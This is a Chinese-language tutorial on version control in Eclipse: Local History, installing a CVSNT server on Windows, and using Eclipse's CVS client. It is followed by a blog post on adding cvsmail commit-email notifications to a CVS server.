Eclipse的内置版本支持
Eclipse本身内置了一定程度的版本支持，也就是所谓的Local History。在Eclipse中编辑的文件每次存盘都会留下记录，可以随时与历史记录比较，恢复到某一个时刻的状态。在资源视图（Resource Perspective）或者Java视图（Java Perspective）中的文件上点右键，选择Compare With，Local History，就会得到如下的画面，可以很清晰看到各个版本的区别。
图1：Eclipse中的内置版本支持：Local History。
如果需要，则可以通过Replace With，Local History来恢复到任一个以前的版本。当然，这样版本的历史是有限制的，可以在Eclipse的Preference中设置。在Preference―>Workbench－>Local History中，可以设置保持最多保持几天的文件，每一文件的版本数目，历史文件的大小限制。
但是，这样的版本系统只实现了最基本的版本功能，如果想把文件某一个状态标记为一个版本，加上注释（仅仅从Local History中的保存时间很难看出每一个版本的特点，也难以找到重要的关键版本），或者想把某个目录乃至整个项目版本化，Eclipse内置的Local History都是无能为力的。
好在Eclipse基于开放的思想，采用了业界标准的版本控制系统CVS，这样不仅很好地实现了版本控制的功能，对于已经熟悉CVS的开发者来说也更容易使用，更重要的是，可以为团队开发提供更加灵活和开放的选择：项目的数据可以存储在一个CVS服务器内，不同的开发者甚至可以采用不同的开发工具，只要这些工具都支持CVS。也许这时我们可以理解为什么Eclipse放弃了Visual Age Java的业已很成功的ENVY系统，这一点很好地体现了Eclipse的开放性和对其他软件的良好互操作性。
CVS
CVS是Concurrent Versions System（并发版本系统）的缩写，基于Unix体系中成熟的SCCS（Source Code Control System）和RCS（Revision Control System）开发，是一个开放源码的项目，目前已是版本控制系统的主流软件。一个很常见的使用CVS的场合，就是开放源码项目。由于开放源码项目的开发者的分布性，对于版本管理的要求更加严格，而目前大部分的开放源码项目几乎都是采用CVS来管理源代码，CVS的标准性和强大可见一斑。
CVS采用客户机／服务器体系，代码以及各种版本存储在中心服务器内，每一个个体开发者开发时都首先从服务器上获得一份自己的拷贝，在此基础上进行开发，以避免直接影响服务器上的数据。开发者可以随时把自己的新代码提交给服务器，并通过更新获得代码的最新状态，保持与其他开发者的一致。
CVS对于网络是透明的，开发者可以使用客户端软件（几乎所有的平台上都有相应的客户端软件）在任何时候，任何地点通过网络来获取最新的代码。
对于Eclipse的开发者而言，Eclipse本身内置了CVS支持，不需要使用其他客户端软件，只要建立一个CVS服务器，就可以使用这一强大的版本控制系统了。
CVS起源于Unix/Linux平台，关于Unix/Linux平台下的安装使用的介绍文章很多，这里就不再重复，读者如果需要在Unix/Linux平台下建立CVS服务器，可以参考本文附录的相关资源。
在Windows平台上也有CVS的一个实现――CVSNT，CVSNT的安装有一定困难，这里我们做一个简单介绍。 CVSNT的安装
首先到CVSNT的主页http://www.cvsnt.org下载最新版本，目前是CVSNT 1.11.1.3 (Build 57f)。
CVSNT的安装有一些注意事项，请读者尽量按照下面所说的步骤来进行安装，描述主要针对Windows 2000。如果读者在安装过程中还有问题，可以参考本文附录的资源中关于CVSNT的安装技巧的文章或邮件列表。
CVSNT可以安装在Windows NT4 服务器或工作站SP6, Windows 2000服务器或专业版，Windows XP专业版上。
以管理员账号登陆，首先修改环境变量。直接执行安装程序，很有可能在最后会出现无法创建路径变量的错误，为此我们首先修改环境变量，设定路径。假设我们要把CVSNT安装到D:\app\cvsnt目录下（与CVSNT相关的内容最好安装到NTFS分区上，也尽量不要使用含有空格的目录名或者文件名，虽然CVSNT已经尽量支持包含空格的目录名和文件名，但仍有可能出现问题），那么打开控制面板，系统属性，高级，环境变量，系统变量中的Path，添加上D:\app\cvsnt并保存设置。
接下来可以执行安装程序，修改安装目录，一步步完成安装。
从开始菜单的程序组中启动CVSNT配置程序Configure Server。这时应该看到服务器还没有运行（CVSNT作为系统服务运行），如果已经运行了，先把它停下来。
选择第二个选项卡Repositories，首先勾上Repositories prefix（数据库路径前缀）的选项。CVSNT中只有一个数据库路径前缀，在这同一个前缀下，可以有多个数据库。相应的，所有的数据库都位于数据库路径前缀对应的目录之下。这里我们假设数据库都存储在E:\work\cvsrepo下，点击省略号按钮来选择E:\work\cvsrepo作为数据库路径前缀。
点击下面的Add按钮添加数据库根，可以有多个。比如我们将/work作为我们的工作项目的存储根。注意添加时系统自动把已设定的E:\work\cvsrepo作为了路径前缀。
选择第三个选项卡Advanced，勾上全部选项，包括Use local users instead of domain。设置临时目录，假设为E:\work\cvstemp。注意要保证临时目录的安全设置（右键点击目录属性，共享，权限）给所有帐号以完全控制权限，包括SYSTEM帐号。并且，绝对不能把临时目录设在诸如C:\WINNT\TEMP或者C:\Documents and Settings下的任何地方，因为这些地方对于用户的访问是有限制的。
点击应用以保存设置，这一点相当重要。
现在可以回到第一个选项卡，点击Start按钮，服务应该正常启动运行了。如果有问题，可以打开一个命令行窗口，输入path命令来检查路径是否已经设置正确，也许需要重新启动来使设置生效。
打开一个命令行窗口，输入如下命令，用你的实际计算机名和用户名替代尖括号内的内容，注意对于NT Server，不能用localhost作为计算机名，必须使用实际计算机名：
set cvsroot=:ntserver:<计算机名>:/work
这一命令通过设定cvsroot这一环境变量，设定/work为目前的cvs数据库根。这里使用ntserver模式，这一模式比较适合服务器就在本地的情形。它要求局域网或者域内所有机器的用户帐号相同，客户端使用Windows NT，Windows 2000或者Windows XP。pserver模式是缺省的，除非关掉2401端口，下面我们的Eclipse就是使用pserver模式。
cvs passwd -a <你的NT用户名>
这一命令设定CVS中的用户名和密码，输入后将提示你输入密码。
注意如果需要CVS 服务器同时以ntserver和pserver模式运行，那么密码最好不要和系统中用户的真实密码相同以保证安全。
这里的用户必须是服务器上的真实用户，不过可以给真实用户设定一个不同的使用名alias。使用命令：
cvs passwd -a -r <你的NT用户名> <CVS帐号别名>
必须注意，这些名字里最好不要使用任何空格。如果必须的话，可以用双引号括起来。
到此为止，CVS服务器已经初步设置完成，可以使用了。缺省情况下，服务器将作为NT服务自动运行。读者既可以使用命令行的CVS命令，也可以使用各种CVS客户端来连接CVS服务器，执行CVS操作。不过，下面我们主要介绍在Eclipse中通过内置的CVS支持来使用CVS系统。
在Eclipse中使用CVS系统
前面已经提到，CVS的数据存放在服务器的数据库中。为了支持Concurrent这一并发特点，CVS使用了一个分枝（Branch）模型，以保证不同开发者的相对独立，但是又高度集成。分枝可以看成一个开发团队共享的工作区（Workspace），在CVS数据库中，有一个特殊的分枝称为HEAD，代表主要工作流。
开发者可以提交（Commit）自己的工作，并通过更新（Update）与其他人的最新修改保持同步。提交是把自己的修改提交给数据库，称为输出（Outgoing），更新则是得到其他人的修改，称为输入（Incoming）。每次提交之前，都应该先更新，以保持与最新状态同步。
因此，在Eclipse中使用CVS进行团队开发，理想的开发流程应该是这样的（具体操作方法随后介绍）：
图2：团队开发流程
1.从最新状态开始。开始工作前，要保证所有资源与最新的分枝状态一致。对于从头开始的新项目，首先要连接服务器，设定存储那些资源文件。对于在服务器数据库中已经有记录的项目，首先要通过更新来保证资源状态最新。如果本地的工作没有需要特别保存的，可以直接把数据库中的最新版本Check Out As Project，或者Replace With，Latest from Repository。
2.进行本地工作，保存修改。
3.同步。当做好提交工作的准备后，要和服务器数据库同步。
(1)首先应该更新（Update），检查所有的Incoming改变，输入到本地，看是否会影响自己的工作，是否会造成冲突，破坏完整性等等。
(2)检查完更新后，可以确认自己的工作和最新的Branch内容是一致的，就可以提交（Commit）自己的修改了，标上适当的注释。
下面介绍这一开发流程所用到的主要操作。
对于一个新的项目而言，首先需要做的就是设置Eclipse来连接CVS服务器。首次连接将与服务器同步（Synchronize）。
首先在Eclipse的资源视图（Resource Perspective）或者Java视图（Java Perspective）中的项目上点右键，选择Team，Share Project，将出现提示窗口，选择是使用已知的CVS数据库位置还是新建数据库位置。对于第一次连接CVS服务器的情况，将需要首先定义连接所需的服务器参数和路径，用户名，密码等等。这些参数将得到保存，以后如果需要重新连接，就可以直接使用已知的CVS数据库设置。
这里我们选择新建一个数据库位置，进入下一个输入画面。
这里的主机名（Host）可以输入localhost（在Windows NT 4下不可以这样输入），因为我们的CVS服务器就在本机上。
接下来输入/work，设定我们的项目数据存放在这一数据库根路径下。
然后输入用户名和密码。
连接类型选择pserver，端口是缺省的不用改动。当然，如果你修改过CVS服务器使用的端口，这里就要保持一致。
图3：在Eclipse中设置使用CVS系统
接下来可以直接点击Finish完成设置。如果点击下一步，可以继续定义在CVS中是否使用与项目名不同的名字作为模块名，缺省是使用相同的名字。
现在我们完成了项目与CVS服务器的连接，项目已经和CVS服务器同步了。
但是这并不意味着CVS已经开始记录版本信息。因为在一个项目中可能有相当一部分资源文件不适合存储到数据库中记录版本信息，比如编辑器生成的临时文件，编译生成的.class文件，或者某些编译过程生成的二进制文件等等。因此，Eclipse并不自动把所有文件存储到数据库中，需要开发者手工指定把那些文件存储到数据库中，也就是加入版本控制add to version control。对于单个文件的指定，可以随时在资源视图（Resource Perspective）或者Java视图（Java Perspective）中的文件上使用右键，选择Team，Add to Version Control。如果需要存储整个项目或者同时指定多个文件，则要使用同步（Synchronize）视图。
注意项目与CVS服务器连接完成并同步后，在Eclipse右下角的Tasks和Console的位置新出现了一个Synchronize窗口，下方状态栏也显示了这次同步的状态信息。双击Synchronize窗口的标题栏使之最大化，我们可以看到窗口上半部分列出了所有尚未指定加入数据库的资源和文件。在这里我们可以同时选择多个文件，甚至选择整个项目，使用右键，选择Team，Add to Version Control，就可以把多个文件或者整个项目加入到数据库中，开始记录其版本信息。
我们可以看到，这时的同步视图上标明了处于Outgoing模式。同步（Synchronize）视图有Incoming模式和Outgoing模式，对应于提交（Commit）和更新（Update）操作，表示目前修改是来自本地还是来自服务器。当然，视图也可以同时显示Incoming和Outgoing方向的变化。当有变化时，在下半部分的比较窗口可以显示不同版本之间的差异和变化。进一步地，可以通过工具条上的合并（Merge）操作来消除对同一文件不同修改所带来的冲突。
在此之后，当完成对文件或者项目的修改，需要确认修改，把最新的状态存储到数据库中去，就需要执行提交（commit）操作。类似的，我们可以在资源视图（Resource Perspective）或者Java视图（Java Perspective）中的文件上使用右键，选择Team，Commit；或者在同步（Synchronize）视图中同时提交多个文件乃至整个项目。注意，每次提交时都会提示输入注释，这是很重要的，作为每一个状态的说明和提示。
当我们需要把文件或者项目的不同版本进行比较或者替换时，可以在资源视图（Resource Perspective）或者Java视图（Java Perspective）中的文件上使用右键，选择Team，Compare With或者Team，Replace With来完成。进行比较时将打开一个比较编辑器，很好地表示不同版本之间的差异，和Local History类似。
如果要了解CVS数据库的内容情况，可以使用CVS数据库浏览视图（CVS Repository Exploring Perspective）。我们可以点击Eclipse左上角的开启视图（Open Perspective）按钮，增加这一视图到左边的视图浏览栏里。前面已经提到，HEAD代表CVS数据库里的主流内容。展开Versions，可以看到以往的版本。另外，在右下角有数据库的历史记录标明每次修改的相关信息。
如果需要导出某一版本，就要用到Check Out操作。在某一版本上右键选择Check Out As Project，这将把这一版本导出为同名的项目，从而可以覆盖已有的状态，或者选择Check Out对话框来导出为其他项目。
图4：CVS数据库浏览视图
关于更详细的CVS使用方法和技巧，可以参考Eclipse的帮助中相关内容。
关于作者：
董向辉，1998年毕业于清华大学，随后进入中科院自动化所人工智能实验室直接攻博。科研兴趣主要在演化计算和系统复杂性问题，技术方面，从接触Java开始，便一直保持着对Java的兴趣并作为主要编程语言。同时注意关心新出现的有前景的相关技术，聚焦点先后包括软件工程，XML，J2ME等等。电子邮件地址：[email protected]。
相关资源：
关于CVS：
http://www.cvshome.org，CVS官方网站，可以从这里下载最新版本的CVS（Unix/Linux平台版本）以及相关的文档和资料，例如Per Cederqvist的Version Management with CVS 这本官方手册。
http://laser.zhengmai.com.cn/cvstutorials.html，一个中文的CVS简单教程。
http://www.cvsnt.org，CVSNT，在Windows NT上的CVS服务器，在此基础上也有返回Unix/Linux平台的版本。目前最新版本是CVSNT 1.11.1.3 (Build 57f)。
http://www.cvsnt.org/mailman/listinfo/cvsnt，关于CVSNT的使用问题的邮件列表。
http://w1.858.telia.com/~u85831169/InstallCVSNT.html，关于CVSNT安装的一些技巧和知识，感谢作者慷慨的准许，本文参考了其中部分内容。
http://devguy.com/cvsnt，另一个CVSNT安装问题的帮助和常见问题回答。
http://www.cvsgui.org，Windows平台下的图形化CVS客户端软件。
关于Eclipse：
http://www.eclipse.org，Eclipse官方网站，可以从这里下载最新版本2.0。
http://www-900.ibm.com/developerWorks/cn/java/l-ide/part2/index.shtml，VAJ之后是什么？，介绍从Visual Age Java到Eclipse，WSWB等等的来龙去脉以及各自的特点。
http://dev.eclipse.org/viewcvs/index.cgi/~checkout~/platform-vcm-home/docs/online/cvs_features2.0/cvs-faq.html，在Eclipse中使用CVS的常见问题回答。更详细的具体操作介绍，可以参考Eclipse软件所附带的帮助。
http://www.bestunix.net/p/cvsmail.php
给你的cvs服务器加上邮件通知
2005年7月23日21:35星期六 [原创]
|
苏小勇 http://www.bestunix.net
关键字 cvs cvsmail 邮件通知 邮件列表
为什么要用cvsmail
当我们开发人员分散各处时，很难了解cvs server上到底更新了什么，而且每天去阅读cvs上大量的更新日志也是一件很麻烦的事情。通过cvsmail,你可以及时准确的通知每个开发人员服务器上的内容发生了什么更新。
前提
假设你已熟知CVS服务器设置指南 （http://www.bestunix.net/p/cvs_server_config.php ）,并已配置好了自己的CVS服务器
假设你已经配置好了mail服务器,如果没有配置的话请参考xuki的 qmail安装指南 (http://www.xuki.org/linux_qmail.htm)
如何获得
其实cvsmail有好几个版本，不过这里我选用的是最简单的那个，安装配置非常容易，而且它已经可以实现我们需要的大部分的功能。
http://www.over-yonder.net/~fullermd/projects/cvsmail/
可以去上面网址下载cvsmail的最新版本。
安装
这里的安装分两种，我逐个来说明
第一种
如果你有一个原始的CVSROOT模块，那么你可以使用install.pl脚本来进行安装。下面分别按步骤介绍
1.初始化你的CVS仓库，使用cvs init,如果不明白的话，可以参考 CVS服务器设置指南（ http://www.bestunix.net/p/cvs_server_config.php）
2.check out出一个你的CVSROOT模块的拷贝,
我们假设把这个模块放入/tmp/cvs目录,服务器端CVS仓库路径为/home/cvsroot
3.进入你下载并解压缩以后的cvsmail目录,运行install.pl脚本,如下
./install.pl /tmp/cvs/CVSROOT
4.进入/tmp/cvs/CVSROOT目录,根据你的系统设置来编辑cvsmail.cfg文件,主要需要编辑下面几个地方
$MAILTO 设置为cvs commit时会接收到邮件的用户,注意这里只能设置一个用户,如果需要多个用户接收的话,则需要设置为一个邮件列表
需要注意的是这里设置的是用户名,实际上接受邮件的是 username@hostname,比如我们设置的用户名是cvsupdate,当前主机名是bestunix.net,那么收件人就是[email protected]
$FROM_HOST 发件人的域名,默认是主机名,一般不用做什么设置,cvs的发件人默认是cvsroot,所以,我们收到的通知邮件一般都是 cvsroot@hostname发送的,比如[email protected]
$SENDMAIL 一般保留默认就好了,如果你的邮件服务器是qmail的话,需要改为"/var/qmail/bin/qmail-inject"
$P_* 这里主要是指定这些应用程序的路径,一般不用修改,如果你不确定的话,可以用whereis来察看一下
5.修改完上面选项以后,用 cvs commit提交到服务器上,下次cvs commit你就会收到邮件通知了.
第二种情况,没有一个原始的CVSROOT
那么,我们需要手工做一些install.pl的工作,我们看看install.pl都做了什么
1. Copy cvsmail.pm, cvsmail.cfg, cvsmail.pl, precommit.pl到你check out出来的CVSROOT里面,比如/tmp/cvs/CVSROOT
| 代码 |
cp cvsmail* /tmp/cvs/CVSROOT
cp pre* /tmp/cvs/CVSROOT |
然后把这几个文件都加入CVS仓库
| 代码 |
cvs add cvsmail.pm
cvs add cvsmail.cfg
cvs add cvsmail.pl
cva add precommit.pl
|
2. 在CVSROOT/commitinfo这个文件中加入下面行
| 代码 |
| ALL $CVSROOT/CVSROOT/precommit.pl |
3. 在CVSROOT/loginfo这个文件中加入下面行
| 代码 |
| ALL $CVSROOT/CVSROOT/cvsmail.pl %{ sVv } |
4. 修改cvsmail.cfg,同第一种情况
5. 提交上面修改过的文件
cvs commit
一点经验:
cvsmail本身没有什么日志可查,如果你发现自己的cvsmail不能正常使用时,可以到cvsroot的home目录中察看Mailbox文件中的退信信息
一个cvs更新邮件的样例
| 代码 |
主题; [cvs update] cvs commit: CVSROOT cvsmail.cfg
cvsroot 2005/07/23 21:23:47 CST
Modified files:
. cvsmail.cfg
Log:
add header
Revision Changes Path
1.11 +1 -1 CVSROOT/cvsmail.cf |
|
http://wangxinlei1982.spaces.live.com/
http://www.5ihack.com/article/system/linux/
SCM : http://www.scmlife.com/forum-32-1.html
